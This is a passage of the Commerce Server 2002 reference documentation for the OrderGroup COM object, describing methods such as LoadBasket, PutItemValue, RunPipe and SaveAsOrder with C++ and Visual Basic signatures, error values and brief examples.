[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRetVal parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' dDict is a Dictionary object
dDict = oOrderGroup.GetItemInfo(3, "testOrderFormName")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::GetOrderFormAsXML Method [C++]

OrderGroup.GetOrderFormAsXML Method [Visual Basic]

Use this method to convert an OrderForm object into an XML string.

Definition

[C++]
HRESULT _OrderGroup::GetOrderFormAsXML(
  BSTR nXMLLocale,
  VARIANT strOrderFormName,
  BSTR* pbstrRetVal
);
[Visual Basic]
Function GetOrderFormAsXML(
  nXMLLocale As String,
  Optional strOrderFormName As Variant
) As String

Parameters

nXMLLocale [C++]
[in] A BSTR that specifies the locale used in the XML string conversion.
nXMLLocale [Visual Basic]
A String that specifies the locale used in the XML string conversion.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm.
pbstrRetVal [C++]
[out, retval] A pointer to a BSTR used to return the XML string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the XML string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRetVal parameter points to valid data only if the method completed successfully.

Note: Use of the DictionaryXMLTransforms object is recommended when exchanging XML via BizTalk Server. The DictionaryXMLTransforms object allows you to write out XML to a well-defined schema.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lLocale is a valid Locale identifier
sXMLResultString is a string
sXMLResultString = oOrderGroup.GetOrderFormAsXML(lLocale, myOrderFormName)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::AddXMLAsOrderForm

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.AddXMLAsOrderForm


_OrderGroup::GetOrderFormValue Method [C++]

OrderGroup.GetOrderFormValue Method [Visual Basic]

Use this method to get an attribute from an OrderForm, based on a specified key.

Definition

[C++]
HRESULT _OrderGroup::GetOrderFormValue(
  BSTR strKey,
  VARIANT strOrderFormName,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function GetOrderFormValue(
  strKey As String,
  Optional strOrderFormName As Variant
) As Variant

Parameters

strKey [C++]
[in] A BSTR that contains the key that specifies the attribute to get.
strKey [Visual Basic]
A String that contains the key that specifies the attribute to get.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.
pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the attribute.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the attribute.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal parameter points to valid data only if the method completed successfully.

If the strOrderformName parameter is not supplied, the strOrderFormName parameter defaults to "default".

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
vResult is a Variant

vResult = oOrderGroup.GetOrderFormValue(handling_total, _
"testOrderFormName")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::Initialize Method [C++]

OrderGroup.Initialize Method [Visual Basic]

Use this method to initialize the OrderGroup object.

Definition

[C++]
HRESULT _OrderGroup::Initialize(
  BSTR strConnectionString,
  BSTR strUser ID
);
[Visual Basic]
Sub Initialize(
  strConnectionString As String,
  strUser ID As String
)

Parameters

strConnectionString [C++]
[in] A BSTR that contains the database connection string.
strConnectionString [Visual Basic]
A String that contains the database connection string.
strUser ID [C++]
[in] A BSTR that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.
strUser ID [Visual Basic]
A String that specifies the user ID. All Commerce Server 2002 user ID values are GUIDs.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use this method to specify the connection string that the OrderGroup object uses for its database operations. You also specify a user_id that the object will use as an OrderGroup_id when performing basket operations. This same user_id value is stored in the g_User IDChangedBy field.

Note

  • If you are loading an OrderGroup object on behalf of another user (for example as an administrator), you should specify the administrator user ID (or a placeholder user ID GUID which signifies administrative authority) so that g_UserDChangedBy is updated with the appropriate value when the OrderGroup object is saved back to the database. If you wish to load an OrderGroup object with a Basket status in the role of an administrator, you must specify strUser ID as the user ID of the user whose basket you wish to load. In this case g_User IDChangedBy will not be updated with an administrator user ID.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGrp is a Commerce.OrderGroup object
' sConnString is a valid connection string to the Commerce database
oOrderGrp.Initialize(sConnString, _
    "{D4F9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::LoadBasket Method [C++]

OrderGroup.LoadBasket Method [Visual Basic]

Use this method to load the basket for the current user from the database. If the basket for the user id specified in the Initialize method cannot be found, this method initializes an empty in-memory basket.

Definition

[C++]
HRESULT _OrderGroup::LoadBasket(
);
[Visual Basic]
Sub LoadBasket()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadOrder

[C++] _OrderGroup::LoadTemplate

[C++] _OrderGroup::SaveAsBasket

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadOrder

[Visual Basic] OrderGroup.LoadTemplate

[Visual Basic] OrderGroup.SaveAsBasket


_OrderGroup::LoadOrder Method [C++]

OrderGroup.LoadOrder Method [Visual Basic]

Use this method to load an OrderGroup from disk. This method returns an error if the OrderGroup cannot be found.

Definition

[C++]
HRESULT _OrderGroup::LoadOrder(
  BSTR strOrderGroupID
);
[Visual Basic]
Sub LoadOrder(
  strOrderGroupID As String
)

Parameters

strOrderGroupID [C++]
[in] A BSTR that specifies the OrderGroupID of the OrderGroup to be loaded.
strOrderGroupID [Visual Basic]
A String that specifies the OrderGroupID of the OrderGroup to be loaded.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadOrder method can be used to load any OrderGroup whose status does not equal basket or template.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.LoadOrder("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadBasket

[C++] _OrderGroup::LoadTemplate

[C++] _OrderGroup::Initialize

[C++] _OrderGroup::SaveAsOrder

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadBasket

[Visual Basic] OrderGroup.LoadTemplate

[Visual Basic] OrderGroup.Initialize

[Visual Basic] OrderGroup.SaveAsOrder


_OrderGroup::LoadTemplate Method [C++]

OrderGroup.LoadTemplate Method [Visual Basic]

Use this method to load the specified template from the database.

Definition

[C++]
HRESULT _OrderGroup::LoadTemplate(
  BSTR strOrderGroupID
);
[Visual Basic]
Sub LoadTemplate(
  strOrderGroupID As String
)

Parameters

strOrderGroupID [C++]
[in] A BSTR that specifies the OrderGroupID of the template to be loaded.
strOrderGroupID [Visual Basic]
A String that specifies the OrderGroupID of the template to be loaded.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.LoadTemplate("{EEF9C9CC-C33E-11D0-B8A0-00C04FB616C7}")

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadOrder

[C++] _OrderGroup::LoadBasket

[C++] _OrderGroup::SaveAsTemplate

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadOrder

[Visual Basic] OrderGroup.LoadBasket

[Visual Basic] OrderGroup.SaveAsTemplate


_OrderGroup::PurgeUnreferencedAddresses Method [C++]

OrderGroup.PurgeUnreferencedAddresses Method [Visual Basic]

Use this method to remove all addresses in the OrderGroup object that are not being referenced by any line-item shipping_address_id or OrderForm billing_address_id.

Definition

[C++]
HRESULT _OrderGroup::PurgeUnreferencedAddresses(
);
[Visual Basic]
Sub PurgeUnreferencedAddresses()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::PutItemValue Method [C++]

OrderGroup.PutItemValue Method [Visual Basic]

Use this method to put the specified values into the specified keys of the line item.

Definition

[C++]
HRESULT _OrderGroup::PutItemValue(
  BSTR strKey,
  VARIANT vtValue,
  VARIANT_BOOL bOverWrite,
  VARIANT nItemIndex,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub PutItemValue(
  strKey As String,
  vtValue As Variant,
  Optional bOverWrite As Boolean,
  Optional nItemIndex As Variant,
  Optional strOrderFormName As Variant
)

Parameters

strKey [C++]
[in] A BSTR that specifies the key whose attribute will store the value specified by the vtValue parameter.
strKey [Visual Basic]
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue [C++]
[in] A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
vtValue [Visual Basic]
A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
bOverWrite [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of True indicates that the attribute will be overwritten. A value of False indicates that the attribute will not be overwritten if one already exists.
bOverWrite [Visual Basic]
A Boolean that indicates whether to overwrite the existing attribute of the key specified by the strKey parameter. A value of True indicates that the attribute will be overwritten. A value of False indicates that the attribute will not be overwritten.
nItemIndex [C++]
[in, optional] A VARIANT that specifies the line-item index.
nItemIndex [Visual Basic]
A Variant that specifies the line-item index.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the line-item index is specified, this method sets the name value pair for the specified line item on the OrderForm specified in the strOrderFormName parameter. (The strOrderFormName parameter defaults to "default" if unspecified.)

If the line item index is not specified, this method sets the name value pair for all line items for the specified OrderForm. If no OrderForm name is specified, this method sets the name value pair for all line items in the OrderGroup.

If there is no OrderForm for the strOrderFormName specified in the strOrderFormName parameter, one is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.PutItemValue(payment_method, credit_card, False)

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::PutOrderFormValue Method [C++]

OrderGroup.PutOrderFormValue Method [Visual Basic]

Use this method to set an attribute on an OrderForm. If the strOrderFormName parameter is supplied, and the OrderForm does not exist in the OrderGroup, then a new OrderForm with the supplied name is created.

If strOrderFormName is not supplied, the parameter defaults to "default".

Definition

[C++]
HRESULT _OrderGroup::PutOrderFormValue(
  BSTR strKey,
  VARIANT vtValue,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub PutOrderFormValue(
  strKey As String,
  vtValue As Variant,
  Optional strOrderFormName As Variant
)

Parameters

strKey [C++]
[in] A BSTR that specifies the key whose attribute will store the value specified by the vtValue parameter.
strKey [Visual Basic]
A String that specifies the key whose attribute will store the value specified by the vtValue parameter.
vtValue [C++]
[in] A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
vtValue [Visual Basic]
A VARIANT that specifies the value to store in the attribute of the key specified by the strKey parameter.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.PutOrderFormValue(handling_total, "$ 421.23")

See Also

[C++] OrderGroup Object

[Visual Basic] OrderGroup Object


_OrderGroup::RemoveItem Method [C++]

OrderGroup.RemoveItem Method [Visual Basic]

Use this method to remove a line item from the specified OrderForm object. The item index specified indicates which line item to remove.

Definition

[C++]
HRESULT _OrderGroup::RemoveItem(
  VARIANT nItemIndex,
  VARIANT strOrderFormName
);
[Visual Basic]
Sub RemoveItem(
  Optional nItemIndex As Variant,
  Optional strOrderFormName As Variant
)

Parameters

nItemIndex [C++]
[in, optional] A VARIANT that specifies the line item index. If this value is null, all items in the OrderForm are removed.
nItemIndex [Visual Basic]
A Variant that specifies the line item index. If this value is null, all items in the OrderForm are removed.
strOrderFormName [C++]
[in, optional] A VARIANT that specifies the OrderForm name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForms are removed.
strOrderFormName [Visual Basic]
A Variant that specifies the OrderForm name. If the strOrderFormName parameter is not supplied, the strOrderFormName parameter defaults to "default". If both the nItemIndex and the strOrderFormName parameters are not supplied, then all items in all OrderForms are removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::AddItem

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.AddItem


_OrderGroup::RemoveOrderForm Method [C++]

OrderGroup.RemoveOrderForm Method [Visual Basic]

Use this method to remove the specified OrderForm from the OrderGroup object.

Definition

[C++]
HRESULT _OrderGroup::RemoveOrderForm(
  BSTR strOrderFormName
);
[Visual Basic]
Sub RemoveOrderForm(
  strOrderFormName As String
)

Parameters

strOrderFormName [C++]
[in] A BSTR that specifies the OrderForm to remove.
strOrderFormName [Visual Basic]
A String that specifies the OrderForm to remove.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
oOrderGroup.RemoveOrderForm("myOrderFormName")

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::AddOrderform

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.AddOrderform


_OrderGroup::RunPipe Method [C++]

OrderGroup.RunPipe Method [Visual Basic]

Use this method to run the Pipeline Component File on each OrderForm in the OrderGroup object.

Definition

[C++]
HRESULT _OrderGroup::RunPipe(
  BSTR strPCF,
  BSTR strPipelineProgID,
  IDispatch* oContext,
  long* lpRetVal
);
[Visual Basic]
Function RunPipe(
  strPCF As String,
  strPipelineProgID As String,
  oContext As Object
) As Long

Parameters

strPCF [C++]
[in] A BSTR that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPCF [Visual Basic]
A String that specifies the Pipeline Component File file path (for example, c:\SampleDir\SampleFile.pcf).
strPipelineProgID [C++]
[in] A BSTR that specifies the pipeline ProgID.
strPipelineProgID [Visual Basic]
A String that specifies the pipeline ProgID.
oContext [C++]
[in] A pointer to the IDispatch interface that specifies the pipeline context.
oContext [Visual Basic]
An object reference that specifies the pipeline context.
lpRetVal [C++]
[out, retval] A pointer to a long used to return the maximum error level encountered by the pipeline runs.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that specifies the maximum error level encountered by the pipeline runs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When OrderGroup.RunPipe is called, the OrderGroup object instantiates and runs the pipeline for each of its contained OrderForms. The pipeline objects themselves continue to be passed a regular OrderForm, as if they were run in a stand-alone pipeline. In fact, a pipeline component has no way of knowing whether it is running on an OrderForm within an OrderGroup, or on a stand-alone OrderForm.

There are cases where you want the pipeline component to know about all items in the OrderGroup, regardless of whether those items are from differing vendors (ie a discount component). If this is the case, you should not use the multiple-OrderForm feature of the OrderGroup object (adding all items to the same OrderForm). In these cases, you can use the Splitter pipeline component to produce views of items from different vendors on your OrderForm.

When calling OrderGroup.RunPipe, you can rely on the aggregation features of the OrderGroup to produce grand totals across all OrderForms. OrderGroup.RunPipe automatically aggregates many common fields. If you wish to aggregate additional fields, use OrderGroup.AggregateOrderformValues.

Additionally, this method computes grand totals across each OrderForm for each of the following properties:

Orderform Value | Grand Total on the OrderGroup
_cy_oadjust_subtotal | saved_cy_oadjust_subtotal
_cy_total_total | saved_cy_total_total
_cy_shipping_total | saved_cy_shipping_total
_cy_handling_total | saved_cy_handling_total
_cy_tax_total | saved_cy_tax_total
_cy_tax_included | saved_cy_tax_included

Many pipeline keys are prefixed by "_", which by default means they will not be persisted to the database. Occasionally, you may want to take snapshots of these keys, and by convention, the prefix "saved_" is used in this situation. By using the "saved_" prefix they can be referred to later and can be searched via SQL statements or the OrderGroupManager object. Copied keys should not necessarily be trusted as being up-to-date. Also, they should not be used by pipeline components directly.

The OrderGroup object has a LogFile property that can be used to set the log file for the RunPipe method.

[C++] The lpRetVal parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' lResult is a long
' oContext specifies the pipeline context
lResult = oOrderGroup.RunPipe("c:\myPCFFile.pcf", _
    "Commerce.PooledPipeline", oContext)

See Also

[C++] Pipeline Basics

[C++] OrderGroup Object

[C++] _OrderGroup::get_LogFile, put_LogFile

[Visual Basic] Pipeline Basics

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LogFile


_OrderGroup::SaveAsBasket Method [C++]

OrderGroup.SaveAsBasket Method [Visual Basic]

Use this method to save the OrderGroup object to the database with a basket status.

Definition

[C++]
HRESULT _OrderGroup::SaveAsBasket(
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SaveAsBasket() As Variant

Parameters

pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the OrderGroupID.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the OrderGroupID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The pvtRetVal parameter points to valid data only if the method completed successfully.

This method sets the OrderGroup status to "basket", and sets the OrderGroupID equal to the user ID.

If the OrderGroup object was not loaded from a basket, this method deletes any existing on-disk basket before inserting into the data storage.

If the OrderGroup object was loaded from a basket, this method performs an update or insert depending on whether the OrderGroup was found on-disk on the load call. If you load a template or order and call the SaveAsBasket method, the template or order which was originally loaded remains unchanged on disk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is a Variant
vResult = oOrderGroup.SaveAsBasket()

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::LoadBasket

[C++] _OrderGroup::SaveAsOrder

[C++] _OrderGroup::SaveAsTemplate

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.LoadBasket

[Visual Basic] OrderGroup.SaveAsOrder

[Visual Basic] OrderGroup.SaveAsTemplate


_OrderGroup::SaveAsOrder Method [C++]

OrderGroup.SaveAsOrder Method [Visual Basic]

Use this method to save the OrderGroup to the database with an order status.

Definition

[C++]
HRESULT _OrderGroup::SaveAsOrder(
  VARIANT* vtOutTrackingNumber,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SaveAsOrder(
  Optional vtOutTrackingNumber As Variant
) As Variant

Parameters

vtOutTrackingNumber [C++]
[in] A pointer to the VARIANT used to return the tracking number. If specified, this VARIANT will contain the tracking number when the method returns.
vtOutTrackingNumber [Visual Basic]
A Variant that specifies the tracking number. If specified, this Variant must be a non-literal value; when the method returns, it will contain the tracking number.
pvtRetval [C++]
[out, retval] A pointer to a VARIANT used to return the OrderGroupID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the OrderGroupID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal parameter points to valid data only if the method completed successfully.

This method sets the OrderGroup status to "order" if the current status is Template, Basket, or undefined. (All other states are left alone; this allows orders to be in many states, such as pending approval, rejected, and so on.) You can set the state to any value except basket or template before calling the SaveAsOrder method; this method will not overwrite the state.

If this is the first time the order is saved, a special field will be written that records the order creation date. If an OrderTrackingNumber already exists on the OrderForm (under the key order_number) before the save, a new one will not be generated. This feature allows for ERP-based tracking numbers.

If the OrderGroup was loaded from a template, or from a basket, this method will generate a new OrderGroupID and tracking number, and perform a database insert. If the OrderGroup does not yet exist on disk, this method will generate an OrderGroupID and tracking number and perform a database insert. If the OrderGroup was loaded from any other state, this method will perform a database update.

If you load a basket or template and call the SaveAsOrder method, the basket or template remains unchanged on disk. For this reason,a call to the SaveAsOrder method is typically followed by a call to OrderGroupManager.DeleteOrderGroupFromDisk.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroup is a Commerce.OrderGroup object
' vResult is a Variant
' vTrackingNumber is a Variant
vResult = oOrderGroup.SaveAsOrder(vTrackingNumber)

See Also

[C++] OrderGroup Object

[C++] _OrderGroup::SaveAsBasket

[C++] _OrderGroup::SaveAsTemplate

[Visual Basic] OrderGroup Object

[Visual Basic] OrderGroup.SaveAsBasket

[Visual Basic] OrderGroup.SaveAsTemplate


_OrderGroup::SaveAsTemplate Method [C++]

OrderGroup.SaveAsTemplate Method [Visual Basic]

Use this method to save the OrderGroup to the database with a template status.

Definition

[C++]
HRESULT _OrderGroup::SaveAsTemplate(
  VARIANT strTemplateName,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SaveAsTemplate(
  Optional strTemplateName As Variant
) As Variant

Parameters

strTemplateName [C++]
[in, optional] A VARIANT that specifies the template name.
strTemplateName [Visual Basic]
A Variant that specifies the template name.
pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the OrderGroupID of the template.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the OrderGroupID of the template.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

